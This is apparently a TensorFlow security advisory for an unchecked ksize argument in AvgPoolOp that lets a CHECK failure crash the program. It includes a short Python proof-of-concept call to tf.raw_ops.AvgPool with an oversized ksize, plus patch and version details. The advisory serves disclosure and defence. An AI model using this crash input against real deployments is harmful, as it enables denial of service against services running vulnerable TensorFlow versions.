AvgPoolOp function takes an argument
ksize that must be positive but is not checked. A negative
ksize can trigger a
CHECK failure and crash the program.
import tensorflow as tf import numpy as np value = np.ones([1, 1, 1, 1]) ksize = [1, 1e20, 1, 1] strides = [1, 1, 1, 1] padding = 'SAME' data_format = 'NHWC' tf.raw_ops.AvgPool(value=value, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
We have patched the issue in GitHub commit 3a6ac52664c6c095aa2b114e742b0aa17fdce78f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Jingyi Shi.